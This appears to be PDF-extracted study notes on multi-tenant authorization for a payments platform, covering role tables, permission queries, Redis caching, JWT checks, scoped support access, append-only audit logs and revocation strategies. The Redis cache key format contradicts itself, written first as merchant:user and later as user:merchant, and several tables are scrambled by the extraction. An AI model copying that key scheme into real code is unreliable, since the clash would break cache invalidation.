This row is how the system knows Rohan is merchant_admin OF Swiggy.
#
Same system_role_id as Row 4 (Zomato CTO) but different
merchant_id.
# Row 5: Rahul (Swiggy finance). No system role. Only
tenant_role=finance_head.
#
The CHECK constraint enforces exactly one of the two is set.
=== Why tenant_role_permissions Has No System Role Permissions ===
tenant_role_permissions only tracks merchant employee permissions.
This is intentional. System roles work differently.
Merchant employee permissions:
System role permissions:
Defined per merchant.
Defined by Razorpay.
Platform-wide.
finance_head at Swiggy may differ
Not tied to any merchant.
from finance_head at Zomato.
Not customisable by anyone.
Merchants can define their own roles.
Reviewed by security team.
Changes frequently.
Changes only via code deploy.
Stored in DB.
Hardcoded in application.
# Permission check entry point:
def has_permission(user, permission):
# System roles short-circuit BEFORE any DB query.
if user.system_role == "super_admin":
return True
# full access, no DB check, every action audited
if user.system_role == "support_agent":
# Hardcoded set. Reviewed by security team. Never in DB.
SUPPORT_PERMISSIONS = {
"transactions.read",
"refunds.read",
"merchants.read"
}
return permission in SUPPORT_PERMISSIONS
# Merchant employee: hit the DB.
return check_tenant_role_permissions(user, permission)
# Why hardcode system role permissions instead of storing in DB?
#
# 1. Security invariant.
#
super_admin having full access must never be accidentally modified.
#
Hardcoding means only a code deploy can change it.
#
A DB row can be accidentally updated or deleted.
#
# 2. Auditability.
#
support_agent permissions are reviewed in code review.
#
Every change is a PR. Visible. Traceable. Reversible.
#
DB change has no inherent review gate.
#
# 3. Simplicity.
#
System roles are few (3). Permissions are few and fixed.
#
No DB table, no JOIN, no cache needed.
#
A hardcoded set is faster and simpler.
#
# The 7-table schema is complete as designed.
# tenant_role_permissions = merchant employees only. Correct and
intentional.
# System role permissions = application code only. Never in DB.
Permission Check Queries — Step by Step With Output
=== Scenario 1: Does Rahul (user_id=3, finance_head) have refunds.create?
===
# Logical order: start from what we know (user + merchant)
# and follow the chain to what we want (permission name)
SELECT p.name
FROM user_merchant_roles umr
-- start: known user +
merchant
JOIN tenant_roles tr
ON umr.tenant_role_id = tr.id
JOIN tenant_role_permissions trp ON tr.id
= trp.tenant_role_id
JOIN permissions p
ON trp.permission_id
= p.id
WHERE umr.user_id
= 3
AND
umr.merchant_id = 1
-- Swiggy's integer ID
AND
p.name
= 'refunds.create'
Step 1: user_merchant_roles WHERE user_id=3 AND merchant_id=1
-> row 5: tenant_role_id=1 (finance_head)
Step 2: tenant_role_permissions WHERE tenant_role_id=1
-> permission_ids: 1, 2, 5, 8
Step 3: JOIN permissions
-> transactions.read, transactions.export, reports.export,
settlements.read
Step 4: WHERE p.name = 'refunds.create'
-> 0 rows
Result: 403 Forbidden. Rahul cannot create refunds.
════════════════════════════════════════════════════════════
=== Scenario 2: Does Priya (user_id=4, ops_manager) have refunds.create? ===
Same query with user_id=4.
Step 1: user_merchant_roles WHERE user_id=4 AND merchant_id=1
-> row 6: tenant_role_id=2 (ops_manager)
Step 2: tenant_role_permissions WHERE tenant_role_id=2
-> permission_ids: 1, 3, 4
Step 3: JOIN permissions
-> transactions.read, refunds.create, refunds.read
Step 4: WHERE p.name = 'refunds.create'
-> 1 row: refunds.create
Result: Permission granted. Proceed.
════════════════════════════════════════════════════════════
=== Scenario 3: Rahul tries to access Zomato's data ===
WHERE umr.user_id = 3 AND umr.merchant_id = 2
-- Zomato ID
Step 1: user_merchant_roles WHERE user_id=3 AND merchant_id=2
-> 0 rows. Rahul has no role at Zomato.
Result: 404 Not Found.
# NOT 403 -- never reveal that Zomato's data exists from Rahul's
perspective.
════════════════════════════════════════════════════════════
=== Scenario 4: Does Neha (user_id=6, Zomato finance_lead) have
transactions.export? ===
WHERE umr.user_id = 6 AND umr.merchant_id = 2 AND p.name =
'transactions.export'
Step 1: tenant_role_id=4 (finance_lead, Zomato)
Step 2: tenant_role_permissions for id=4 -> permission_ids: 1, 5
Step 3: transactions.read, reports.export
Step 4: WHERE p.name = 'transactions.export' -> 0 rows
Result: 403 Forbidden.
# Zomato's finance_lead has transactions.READ but not transactions.EXPORT.
# Completely independent of Swiggy's finance_head permissions.
Redis Caching — Avoiding DB Query on Every Request
# Running 4-table JOINs on every API request is expensive.
# Cache the full permission list after first lookup.
First request from Rahul:
Redis.GET("permissions:1:3")
-- key format: permissions:{merchant_id}:{user_id}
-- integer merchant_id (1), not slug ("swiggy")
-> null (cache miss)
Run DB query -> result:
["transactions.read", "transactions.export",
"reports.export", "settlements.read"]
Redis.SET(
"permissions:1:3",
["transactions.read", ...],
EX 300
-- TTL: 5 minutes
)
Every subsequent request from Rahul:
Redis.GET("permissions:1:3")
-> ["transactions.read", "transactions.export", ...]
Check: is "refunds.create" in list? NO -> 403. No DB query.
When merchant_admin revokes Rahul's export permission:
1. DELETE FROM tenant_role_permissions
WHERE tenant_role_id=1 AND permission_id=2
2. Redis.DELETE("permissions:1:3") <- immediate cache invalidation
3. Next request from Rahul: cache miss -> fresh DB query -> 403 on export.
# Without step 2: Rahul keeps export access for up to 5 minutes (TTL).
# With step 2: revocation is immediate.
# TTL=5min is the fallback if invalidation is missed for any reason.
The 5-Step Permission Check — Every Request
Every API request in a multi-tenant system goes through these checks in this exact order. Authentication tells you
WHO someone is. Authorization tells you WHAT they can do. Tenant boundary tells you WHICH DATA they can
touch. These are three completely separate questions. Collapsing them into one check is how breaches happen.
=== The Scenario ===
Priya (user_id=4) works at Swiggy (merchant_id=1).
She has the ops_manager tenant role.
ops_manager has: transactions.read, refunds.create, refunds.read
Request: POST /refunds
Body:
{ "transactionId": 42, "amount": 500 }
JWT:
{ userId: 4, merchantId: 1, merchantSlug: "swiggy" }
=== Step 1: AUTHENTICATE — Is this JWT genuine? ===
Gateway receives:
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImtleS0yMDI0In0...
Gateway:
1. Split JWT by "." -> encodedHeader, encodedPayload, signature
2. Decode header -> { "alg": "RS256", "kid": "key-2024" }
3. Is "RS256" in allowed algorithm whitelist? YES (prevents alg:none
attack)
4. Fetch public key from JWKS cache using kid="key-2024"
5. hash_A = RSA_verify(signature, public_key)
# public_key_operation reverses what private_key did -> recovers
original hash
6. hash_B = SHA256(encodedHeader + "." + encodedPayload)
# SHA256 is keyless. Independent hash of received data.
7. hash_A == hash_B? YES -> genuine
8. Check exp: current_time < exp? YES -> not expired
9. Check iss: "auth.razorpay.com" trusted? YES
All pass -> JWT is genuine.
Fails at any point -> 401 Unauthorized. STOP. No further checks.
=== Step 2: EXTRACT TENANT CONTEXT — Who, on behalf of which tenant? ===
Decode JWT payload:
{
"userId":
4,
"merchantId":
1,
<- Swiggy's integer ID
"merchantSlug": "swiggy",
"exp":
1700003600,
"iss":
"auth.razorpay.com"
}
Extract:
userId
= 4
merchantId = 1
checks
<- this becomes the tenant boundary for ALL subsequent
Source: validated JWT only.
NEVER from: req.body.merchantId, req.query.merchantId, req.params.merchantId
Gateway injects into downstream service headers:
X-Merchant-Id:
1
X-User-Id:
4
X-Merchant-Slug: swiggy
No failure mode here. If JWT was valid in step 1, extraction always
succeeds.
=== Step 3: AUTHORISE — Does this role have permission? ===
Service reads:
merchantId = req.headers["X-Merchant-Id"]
userId
= req.headers["X-User-Id"]
-> 1
-> 4
Check Redis cache first:
Redis.GET("permissions:1:4")
-> ["transactions.read", "refunds.create", "refunds.read"]
(cache hit -- no DB query)
Is "refunds.create" in this list?
YES -> proceed to step 4
NO -> 403 Forbidden. STOP.
If cache miss:
Run DB query (the 4-JOIN query from the DB section).
Store result in Redis with TTL=300.
Then check as above.
403 Forbidden means: user is authenticated (we know who they are)
but not authorised (cannot do this action).
=== Step 4: TENANT BOUNDARY CHECK — Does this data belong to this tenant?
===
# This is the step most commonly skipped. And the step that prevents IDOR
(Insecure Direct Object Reference).
SELECT id FROM transactions
WHERE id
= 42
AND
merchant_id = 1
<- from step 2 context, NOT from request body
Result: 1 row found -> transaction 42 belongs to Swiggy. Continue.
Result: 0 rows
-> transaction 42 does not belong to Swiggy.
Return 404 Not Found. STOP.
Why 404 and not 403?
403 says: "You don't have permission to access this resource."
Implies the resource EXISTS. Attacker now knows tx 42 exists at
Zomato.
404 says: "This resource doesn't exist."
Attacker learns nothing. Does tx 42 exist at Zomato? Unknown.
Information leakage eliminated.
# What would happen without step 4:
Priya is ops_manager at Swiggy. She has refunds.create.
She calls: POST /refunds { transactionId: 42 } <- 42 belongs to Zomato
Step 3: does she have refunds.create? YES (she does)
Step 5: process the refund... on Zomato's transaction.
Cross-tenant write operation. Priya just refunded Zomato's customer.
Data breach. Financial inconsistency. Regulatory violation.
Step 4 prevents this entirely.
=== Step 5: BUSINESS LOGIC — Does the refund make sense? ===
Only reached if all 4 steps passed:
- JWT genuine
- Tenant context extracted
- refunds.create permission confirmed
- tx 42 belongs to Swiggy
✓
✓
✓
✓
Now execute:
- Is transaction status "paid"? Can only refund paid transactions.
- Is refund amount <= original amount?
- Is the refund window still open? (e.g. within 180 days)
- Create refund record, update transaction status, trigger payout.
- Return 200 OK.
Business logic errors return their own codes:
422 Unprocessable Entity -- amount too high, status not paid
400 Bad Request
-- malformed input
These are NOT auth errors.
=== The Full Picture Together ===
POST /refunds
{ transactionId: 42, amount: 500 }
Authorization: Bearer eyJhbGci...
Step 1 AUTHENTICATE
JWT valid, not expired, RS256 verified
Fail -> 401
WHERE: API Gateway
Step 2 EXTRACT CONTEXT
merchantId=1, userId=4 from JWT
WHERE: API Gateway
(no failure mode)
Step 3 AUTHORISE
Does ops_manager have refunds.create?
Fail -> 403
YES. From Redis cache.
WHERE: Refund Service (NOT the gateway)
Why at the service, not the gateway?
Gateway has no business logic.
Gateway doesn't know POST /refunds needs refunds.create.
If gateway checked permissions, it would need to know
every endpoint's requirements across all services.
Tight coupling. Defeats microservices.
Each service owns its own authorization logic.
How does the service know POST /refunds needs refunds.create?
Annotation/decorator directly on the endpoint:
@PostMapping("/refunds")
@RequiresPermission("refunds.create")
public Response createRefund(...) { }
@GetMapping("/refunds/{id}")
@RequiresPermission("refunds.read")
public Response getRefund(...) { }
Framework interceptor reads @RequiresPermission
BEFORE the handler runs.
Permission requirement lives next to the endpoint.
Visible in code review. Change requires a PR.
How permission is checked (Redis + DB):
Key:
permissions:{userId}:{merchantId}
Value: SET of all permission strings for this user+merchant
TTL:
5-15 minutes
Example:
permissions:4:1 -> {"transactions.read", "refunds.create",
"refunds.read"}
Why include merchantId in key?
Same user can have different roles at different merchants.
Karan is admin at Swiggy but viewer at Zomato.
permissions:5:1 != permissions:5:2
Cache hit: is "refunds.create" in cached set? YES -> proceed.
Cache miss: run 4-table JOIN query.
fetch ALL permissions for this user+merchant.
cache full set. check. proceed or 403.
The trade-off:
Role revoked at 2pm. TTL = 10 minutes.
User can still act on old permissions until 2:10pm.
Razorpay accepts this for most roles.
For high-risk ops (large refunds, disable account):
Skip cache. Always hit DB. Slower. Worth it.
Step 4 TENANT BOUNDARY
Does tx 42 belong to merchant_id=1?
Fail -> 404
YES. Confirmed in DB.
WHERE: Refund Service
Step 5 BUSINESS LOGIC
Is tx paid? Amount valid? Window open?
Fail -> 422
YES. Process refund. Return 200.
WHERE: Refund Service
=== Why the order matters ===
Step 1 before step 3:
Never check permissions for a request you haven't authenticated.
Step 3 before step 4:
Cheap check (Redis) before expensive check (DB + tenant boundary).
If they don't have the permission, no point hitting the DB.
Step 4 before step 5:
Never run business logic on data you haven't verified belongs to this
tenant.
Step 5 might MODIFY data. You cannot undo a refund processed on wrong
data.
Step 4 is sometimes merged into step 5 -the business logic query already includes merchant_id in its WHERE clause.
That is fine -- the boundary is enforced either way.
Step 4 is sometimes merged into step 5 -- the business logic query already includes merchant_id in
its WHERE clause. That's fine. The important thing is that the tenant boundary check EXISTS, not
that it's a separate query. Whether it's a SELECT id WHERE merchant_id=1 before the refund, or
merchant_id=1 baked into the first line of refund logic -- the boundary is enforced.
Super-Admin Access — Audited, Scoped, Time-Limited
A Swiggy merchant has a problem. ₹50,000 missing from yesterday's settlement. They raise a support ticket.
Razorpay support agent Amit needs to look at Swiggy's transactions to investigate. But Amit is not a Swiggy
employee. By design, no Razorpay employee should have permanent access to any merchant's data. Three
principles govern this access.
The three principles:
1. Audited
2. Scoped
everything.
3. Time-limited
revokes."
-> every action Amit takes is logged forever
-> Amit can VIEW, not write. Specific tickets, not
-> Access expires automatically. Not "until someone
If any of the three fails, you have a security disaster waiting to happen.
=== What goes wrong without these guardrails ===
Without audit:
Rogue agent accesses merchant data, copies it, sells it.
No record. Regulators ask "who accessed X's data last quarter?"
You cannot answer. SOC2 fails. PCI fails.
Razorpay loses banking partnerships.
Without scope:
Agent makes a typo while investigating. Deletes a transaction.
Or processes a duplicate refund. They had write access "just in case."
Data corruption caused by support.
Without time limit:
Amit gets access Monday. Friday the ticket is closed.
Six months later, Amit's token still works.
He has left the company. Nobody remembered to revoke.
# The system must enforce all three. You cannot rely on humans remembering.
The Temporary Access Token Flow
Step 1: Customer raises support ticket
Swiggy reports issue -> Razorpay creates TKT-4521
Step 2: Support agent requests access via internal tool
Amit opens internal admin panel.
Requests access for ticket TKT-4521.
Selects: target merchant=swiggy, duration=2h, reason="settlement
discrepancy"
Step 3: Internal access service validates and issues a scoped token
Checks: is Amit a support_agent?
YES
Checks: is ticket TKT-4521 valid/open? YES
Generates new JWT:
{
"userId":
100,
<- Amit
"merchantId": 1,
<- Swiggy (target being investigated)
"role":
"support_agent",
"scope":
"read_only",
<- cannot write
"ticketId":
"TKT-4521",
<- which ticket justifies this
"grantId":
"exp":
"grant_xyz",
NOW + 2 hours
<- unique ID for this specific grant
<- expires automatically
}
Step 4: Amit uses the scoped token to access Swiggy's data
All API calls go through normal gateway validation.
Same 5-step permission check as any user.
Difference: every action also written to audit_logs.
Step 5: After 2 hours, token expires
Next request: gateway sees exp passed -> 401.
No manual cleanup. Access automatically revoked.
=== What's different from a normal user JWT ===
Normal user JWT:
userId
merchantId
role
exp (e.g. 1h)
Scoped support JWT:
userId
merchantId
role
exp (very short, e.g. 2h)
scope: "read_only" <- extra restriction
ticketId
<- tied to a ticket
grantId
<- traceable to a grant
# The extra fields make this audited and scoped.
# The short expiry handles time-limiting.
The Audit Log Schema
CREATE TABLE audit_logs (
id
BIGSERIAL PRIMARY KEY,
actor_id
BIGINT NOT NULL,
-- who did it
actor_role VARCHAR(50) NOT NULL,
-- support_agent, super_admin
merchant_id BIGINT REFERENCES merchants(id), -- which tenant affected
action
VARCHAR(100) NOT NULL,
-- view_transactions,
view_settlement
resource
VARCHAR(200),
-- which specific record
ticket_id
VARCHAR(50),
-- support ticket (if applicable)
grant_id
VARCHAR(50),
-- access grant (if applicable)
ip_address INET,
user_agent TEXT,
timestamp
TIMESTAMP NOT NULL DEFAULT NOW(),
metadata
JSONB
-- extra context
);
CREATE INDEX idx_audit_merchant ON audit_logs(merchant_id, timestamp DESC);
CREATE INDEX idx_audit_actor
ON audit_logs(actor_id, timestamp DESC);
CREATE INDEX idx_audit_ticket
ON audit_logs(ticket_id);
=== Sample rows ===
id | actor | role
| merch | action
| ticket
|
timestamp
───┼───────┼───────────────┼───────┼─────────────────────┼──────────┼───────
───────
1 | 100
| support_agent | 1
| view_transactions
| TKT-4521 |
2024-01-10 14:23
2 | 100
| support_agent | 1
| view_settlement
| TKT-4521 |
2024-01-10 14:24
3 | 100
| support_agent | 1
| view_transaction_42 | TKT-4521 |
2024-01-10 14:26
4 | 999
| super_admin
| 1
| manual_refund
| INC-0042 |
2024-01-10 16:00
# Row 1: Amit viewed Swiggy's transaction list. Justified by TKT-4521.
# Row 4: Razorpay engineer Sara processed a manual refund. Justified by
incident INC-0042.
# Every action has a traceable record: who, what merchant, what action, what
ticket, when.
Why audit_logs Is Immutable — DB-Level Access Control
Audit logs are append-only. No UPDATE. No DELETE. Not even by engineers. This is enforced at the database level
using Postgres role-based access control.
-- Lock down the audit_logs table at the DB level:
ALTER TABLE audit_logs OWNER TO audit_writer;
GRANT INSERT ON audit_logs TO audit_writer;
GRANT SELECT ON audit_logs TO audit_reader;
REVOKE UPDATE, DELETE ON audit_logs FROM PUBLIC;
=== What each line does ===
Line 1: ALTER TABLE audit_logs OWNER TO audit_writer;
Sets the table OWNER to a dedicated role: audit_writer.
The owner is the role that can drop/alter the table or grant permissions
on it.
Default owner = whoever created the table (often superuser).
Transferring to a dedicated role prevents the superuser from being a
default actor.
Line 2: GRANT INSERT ON audit_logs TO audit_writer;
audit_writer can ONLY insert. No update. No delete. No select.
Application services connect as audit_writer -> can write logs only.
Even if a developer tries to delete a log, the DB refuses -- no
permission.
Line 3: GRANT SELECT ON audit_logs TO audit_reader;
audit_reader can ONLY read. No insert. No update. No delete.
Compliance team, auditors, security tools connect as audit_reader.
They investigate. They cannot tamper.
Line 4: REVOKE UPDATE, DELETE ON audit_logs FROM PUBLIC;
PUBLIC in Postgres = every role that exists in the database.
Removes UPDATE and DELETE from everyone, including default inherited
permissions.
No role in the entire database can UPDATE or DELETE rows in audit_logs.
Not application services. Not engineers. Not DBAs. Nobody.
=== Putting it together ===
Application services -> connect as audit_writer -> can only INSERT
Auditors
-> connect as audit_reader -> can only SELECT
Everyone else
-> cannot UPDATE or DELETE (revoked from PUBLIC)
Result: audit_logs is append-only by ENFORCEMENT, not by convention.
A malicious app service that wanted to delete its own actions cannot -its DB connection physically does not have that permission.
=== In practice, also: ===
- Replicated to a separate, restricted database
- Streamed to cold storage (S3 with object lock -- even AWS engineers
cannot delete)
- Retained for 7 years (financial regulation requirement)
The Regulator Query
You will be asked some version of this by RBI / auditors / during incident
review:
"Show us every action a Razorpay employee took on Swiggy's data in the last
90 days,
and what ticket justified each action."
SELECT
al.timestamp,
u.email
AS actor_email,
al.action,
al.resource,
al.ticket_id,
al.grant_id
FROM audit_logs al
JOIN users u ON al.actor_id = u.id
WHERE al.merchant_id = 1
-- Swiggy
AND
al.actor_role IN ('support_agent', 'super_admin')
AND
al.timestamp >= NOW() - INTERVAL '90 days'
ORDER BY al.timestamp DESC;
# You must answer this in seconds.
# Not "we'll get back to you in a week."
# Not "we don't have that data."
# Seconds. With every action accounted for.
What If Someone Bypasses the Service Path?
Question: What stops a rogue engineer from connecting directly to the DB
and reading merchant data without going through the audit-logged
service?
Answer: DB-level access controls.
Production DB rules:
- No human has direct query access.
- Only service accounts can connect.
- Service accounts always log their actions to audit_logs.
For emergencies, "break-glass" access exists:
- Requires two-engineer approval
- Time-boxed to 30 minutes
- Every query in that session logged
- Triggers Slack alert to security team
- Reviewed weekly
# Combined with the immutable audit log:
# the only way to access merchant data leaves a trace. By design.
Defense in depth: each layer adds protection. Application code may have bugs -- DB permissions
catch it. DB permissions may be misconfigured -- RLS catches it. RLS may be bypassed -- audit logs
record the attempt. Layers stacked deliberately so no single failure leads to a breach. Audit logs
being structurally tamper-proof is what makes the whole stack trustworthy.
Edge Cases — The Production Traps
These are the scenarios that look fine in your initial design but cause real bugs in production. Each has appeared
in actual incidents at real SaaS companies.
Edge Case 1 — User Belongs to Multiple Tenants
Karan is a consultant. He works for both Swiggy and Zomato. Both grant him access to their Razorpay accounts.
Which merchant is he acting as when he logs in?
=== Schema already supports this ===
user_merchant_roles allows multiple rows per user:
id | user_id | merchant_id | system_role_id | tenant_role_id
───┼─────────┼─────────────┼────────────────┼───────────────
20 | 50
| 1 (swiggy) | NULL
| 4 (viewer)
21 | 50
| 2 (zomato) | NULL
| 5 (api_admin)
Karan (user_id=50) has two assignments. One per merchant.
Different tenant role at each.
=== The login and switching flow ===
Step 1: Karan logs in with email + password.
Step 2: Auth server validates credentials.
Queries: SELECT merchant_id FROM user_merchant_roles WHERE
user_id=50
Result: [1, 2] (two merchants)
Step 3: Multiple merchants found. Cannot pick automatically.
Auth server responds:
{
"status": "tenant_selection_required",
"merchants": [
{ "id": 1, "slug": "swiggy", "name": "Swiggy India" },
{ "id": 2, "slug": "zomato", "name": "Zomato Ltd" }
]
}
Step 4: Frontend shows "Which workspace?" Karan picks Swiggy.
Step 5: POST /auth/select-tenant { merchantId: 1 }
Server verifies Karan has access. Issues JWT with merchantId=1.
Step 6: Karan acts as Swiggy viewer for this session.
Every request scoped to Swiggy only.
Zomato is invisible to this session.
Step 7: Karan switches to Zomato.
POST /auth/switch-tenant { merchantId: 2 }
Server issues new JWT with merchantId=2.
Old JWT effectively replaced.
=== The design rule ===
A SESSION is always scoped to exactly ONE tenant.
NOT: "Karan sees both Swiggy and Zomato data in one session"
YES: "Karan switches between Swiggy session and Zomato session"
# Why: every query, cache key, audit log needs a single merchantId.
# Cross-tenant sessions would require tracking current tenant per request.
# Complex and error-prone. Single-tenant sessions keep the invariant simple.
# Same pattern: Slack ("switch workspace"), GitHub ("switch organization"),
#
AWS ("switch role").
Edge Case 2 — Role Deleted While User Is Logged In
Rahul has an active JWT. His role is removed from the database. The JWT is still cryptographically valid. What
happens to his ongoing access?
=== The scenario ===
14:00 (2 PM):
token).
14:30:
14:31:
Rahul logs in. JWT issued with exp=15:00 (3 PM, 1-hour
merchant_admin removes Rahul from finance_head role.
Rahul makes a request.
JWT exp=15:00 has not passed -> still valid.
Without intervention: 29 more minutes of stale access.
# This is the REVOCATION GAP.
# Time between "role taken away" and "user actually stops having access."
=== Three Solutions, Each a Different Trade-off ===
--- Solution A: Short JWT Expiry --Issue JWTs with exp = 15 minutes (instead of 1 hour).
Worst-case stale access: 15 minutes.
Pros: simple, no extra infrastructure.
Cons: client refreshes JWT every 15 min (refresh token flow).
More auth server load. Still 15-minute window of stale access.
--- Solution B: Cache TTL + Invalidation --Permission check uses Redis cache.
Cache TTL: 5 minutes.
When merchant_admin removes Rahul from Swiggy:
1. DELETE FROM user_merchant_roles WHERE user_id=3 AND merchant_id=1
2. Redis.DELETE("permissions:3:1")
<- Swiggy-specific key only
Next request from Rahul to Swiggy:
Cache miss -> fresh DB lookup -> finds no role -> 403 immediately.
Next request from Rahul to Zomato:
Cache hit -> permissions:3:2 still intact -> proceeds normally.
Zomato access preserved. Correct.
Worst-case stale access if cache invalidation is missed: 5 minutes (TTL
fallback).
# Solution B is merchant-scoped.
# Right tool for: fired from one merchant, role changed at one merchant.
--- Solution C: Token Versioning --# What it is:
# Each user has a token_version counter in the users table.
# JWT carries the version it was issued with.
# Every request: gateway compares JWT version against Redis version.
# Mismatch -> 401. Force re-login. Immediate.
Schema:
users table: + token_version INT DEFAULT 1
JWT payload includes version:
{ userId: 3, role: finance_head, tokenVersion: 1, exp: ... }
When token_version is bumped:
DB:
UPDATE users SET token_version = 2 WHERE id = 3
Redis: SET user_version:3 = 2
<- bump immediately
Both updated together. DB = source of truth. Redis = fast lookup.
On every request, gateway checks:
cached_version = Redis.GET("user_version:3")
if cached_version != JWT.tokenVersion: -> 401. Force re-login.
Re-login flow:
401 received. App uses refresh token to get new JWT.
Auth server re-reads roles from DB.
Issues new JWT with tokenVersion=2.
Redis: user_version:3 = 2. JWT: tokenVersion=2. Match -> valid.
But: if Rahul has no role anymore, JWT issued with no role.
All protected endpoints -> 403.
Stale access: ZERO. Immediate revocation.
# Why Redis key is user_version:{userId} with NO merchantId:
#
# Solution C is intentionally user-scoped, not merchant-scoped.
# Use cases for bumping token_version:
#
- Account compromised (attacker has Rahul's JWT)
#
- Rahul fired from company entirely
#
- Password changed
#
- Suspicious activity detected
#
# In ALL these cases: kill ALL sessions, across ALL merchants.
# If key was user_version:3:1 (Swiggy only):
#
Rahul's Zomato token still valid.
#
Attacker still has Zomato access. Wrong.
#
# One key. One bump. All sessions killed everywhere.
# What about Rahul fired from Swiggy only (still works for Zomato)?
#
# Solution C is the WRONG tool for this.
# Bumping user_version kills Zomato access too. Incorrect.
#
# Solution B is the right tool:
#
Redis.DELETE("permissions:3:1") <- Swiggy only
#
Zomato untouched. Correct.
#
# Rule:
#
Merchant-level event (role change, fired from one merchant)
#
-> Solution B (merchant-scoped cache invalidation)
#
User-level event (account compromise, fired from company, password
change)
#
-> Solution C (token versioning, kills all sessions)
# Could you make Solution C merchant-scoped?
# Technically yes: key = user_version:{userId}:{merchantId}
# JWT would need a version per merchant:
#
{ "tokenVersions": { "1": 1, "2": 1 } }
# JWT grows with every merchant Rahul belongs to.
# Gateway must check the right version for the right merchant.
# More complexity, more bug surface. Not worth it.
# Solution B already handles merchant-scoped revocation cleanly.
=== Comparison ===
Solution
Stale window
Complexity
Use when
─────────────────────────────────────────────────────────────────────
Short JWT expiry
<= 15 minutes
Low
Most apps
Cache TTL + invalidation <= 5 minutes
Medium
SaaS dashboards
Token versioning
0 (immediate)
High
Fintech /
banking
In practice, mature fintech systems use ALL THREE combined:
- Short JWT expiry as a base (Solution A)
- Cache invalidation for normal role changes (Solution B)
- Token versioning for instant revocation of compromised
accounts or terminated employees (Solution C)
=== Important: Each solution weakens pure JWT statelessness ===
Pure stateless JWT promise:
Validate the token entirely from its contents.
No DB. No Redis. No external lookup.
Pure local math: RSA_verify(sig, public_key) recovers hash. SHA256(data)
recomputes. Match = valid.
What each solution does to that promise:
Solution A (short JWT expiry):
Still pure stateless. No external lookup needed.
Trade-off: ~15 min stale window remains.
Statelessness: PRESERVED.
Solution B (cache TTL + invalidation):
Permission CHECK hits Redis (already non-stateless for permission lookup).
Token itself still validated locally.
Statelessness: signature verification stays stateless,
but permission check was already stateful.
Solution C (token versioning):
Every request hits Redis to compare version.
Token now requires external lookup on every request to validate.
Statelessness: LOST. Essentially a hybrid JWT + session-check.
=== The honest reality of "stateless" JWT in production ===
Most fintech and high-security systems end up at Solution B or C.
They trade some statelessness for instant revocation.
The pure stateless model is rarely used as-is for sensitive systems.
Pure stateless JWT:
low-stakes apps, microservice-to-microservice
Stateless + cache:
SaaS dashboards (Razorpay, Stripe internal)
Stateless + version check: fintech, banking, where revocation = critical
# Textbook says "JWT is stateless." True in theory.
# In practice, the moment you need revocation, you add state somewhere.
# The real question: how much statelessness do you give up for how much
control?
Edge Case 3 — Tenant Deletion (Merchant Churns)
Swiggy decides to leave Razorpay. They want their account deleted. The complication: three competing
requirements.
=== Three competing requirements ===
1. User request (GDPR / customer):
2. Financial regulation (RBI/PCI):
3. Audit obligation:
"delete my data, now"
"keep all transaction data for 7 years"
"keep audit logs for 7 years"
You cannot delete everything. You also cannot keep everything.
The solution is STAGED deletion.
=== The staged deletion process ===
Step 1 -- Immediate (within seconds of request):
- Mark merchant as inactive:
UPDATE merchants SET status='inactive', deleted_at=NOW() WHERE id=1
- Revoke all active JWTs:
Increment token_version for all users at this merchant
Add merchantId to JWT blocklist (Redis SET, TTL = longest JWT exp)
- Disable all API keys:
UPDATE api_keys SET active=false WHERE merchant_id=1
- Stop incoming webhooks
- Any pending settlements: halt, manual review
Result: no further requests can act on behalf of Swiggy.
Data is still there.
Step 2 -- Export (within hours):
- Generate full data export for customer (GDPR right)
- Includes: transactions, refunds, settlements, audit logs of their
activity
- Encrypted ZIP, downloadable for 30 days, then auto-deleted
Step 3 -- Soft delete window (30-90 days):
- Data remains in DB but inaccessible via API
- Useful for: customer changes mind, accidental deletion recovery,
investigation of disputed transactions
- Reads filtered: WHERE merchant_id=1 AND status='active' -> returns
nothing
Step 4 -- Hard delete (after retention window):
- GDPR erasure data: hard delete from main tables
- Financial regulation data: move to cold storage
Stripped to minimum legally required fields
Stored encrypted in S3 with object lock
Retained 7 years, then deleted automatically
- Audit logs NEVER deleted before 7-year window
- Some records (KYC) may have even longer retention
=== Cross-table cleanup ===
After hard delete window, cascade through every tenant-scoped table:
DELETE FROM transactions
DELETE FROM refunds
DELETE FROM api_keys
DELETE FROM webhooks
WHERE merchant_id = 1;
WHERE merchant_id = 1;
WHERE merchant_id = 1;
WHERE merchant_id = 1;
DELETE FROM tenant_roles
WHERE merchant_id = 1;
DELETE FROM user_merchant_roles WHERE merchant_id = 1;
-- ... every table with merchant_id ...
DO NOT DELETE:
audit_logs
-- retain 7 years for regulatory compliance
cold_storage_transactions -- regulatory retention
# Every table with a merchant_id column needs a deletion step.
# Forget one = orphan data tied to a deleted merchant.
# Many companies maintain a tenant_tables registry that cleanup iterates
through.
Edge Case 4 — Cross-Tenant Operations (Razorpay Internal)
Money flows from a customer payment to Razorpay's internal ledger to the merchant's bank. This crosses
multiple tenant boundaries. How does the auth model handle this?
=== The payment flow ===
Customer pays Swiggy via Razorpay
v
Money arrives in Razorpay's pooled bank account
v
Recorded in Razorpay's internal ledger
v
Settled to Swiggy's bank account (T+2 days)
Crosses multiple tenant boundaries:
- Customer interaction
- Razorpay's internal accounting
- Swiggy's merchant data
No human user has the right to cross all these boundaries.
So how does the system do it?
=== Service JWTs (different from user JWTs) ===
User JWT:
{
"userId":
3,
"merchantId": 1,
<- always scoped to one merchant
"role":
"finance_head"
}
Service JWT (machine-to-machine):
{
"sub":
"payout-service", <- service identity, no human user
"scope":
"settlements.process",
"iss":
"internal-auth",
"exp":
short (15 min)
<- NO merchantId field at all
}
# The service JWT has no merchantId. By design.
# This is what permits cross-tenant operations -# the service is not acting on behalf of any single tenant.
=== The flow ===
Step 1: Settlement Service runs every day at 2am.
Authenticates with Razorpay's internal auth server.
Gets a service JWT (Client Credentials flow from Topic 4.6).
Step 2: Service iterates through merchants:
for merchant in active_merchants:
settle_pending_payments(merchant_id)
Step 3: For each merchant, double-audited write:
BEGIN TRANSACTION
UPDATE razorpay_ledger SET balance = balance - amount
UPDATE merchant_balance SET balance = balance + amount
WHERE merchant_id = 1
COMMIT
Each side logged separately:
audit_log: actor=payout-service, action=ledger_debit, amount=50000
audit_log: actor=payout-service, action=merchant_credit,
merchant_id=1, amount=50000
=== Why this is safer than human cross-tenant access ===
Service JWT properties:
- Short-lived (15 min) -> stolen token has minimal blast radius
- Scoped (only settlements.process) -> cannot do other operations
- Bound to specific service identity -> not transferable
- Every action double-audited
- Service code is reviewed and version-controlled
-> predictable behaviour, not human-driven
The rule: NO HUMAN USER ever has cross-tenant write access.
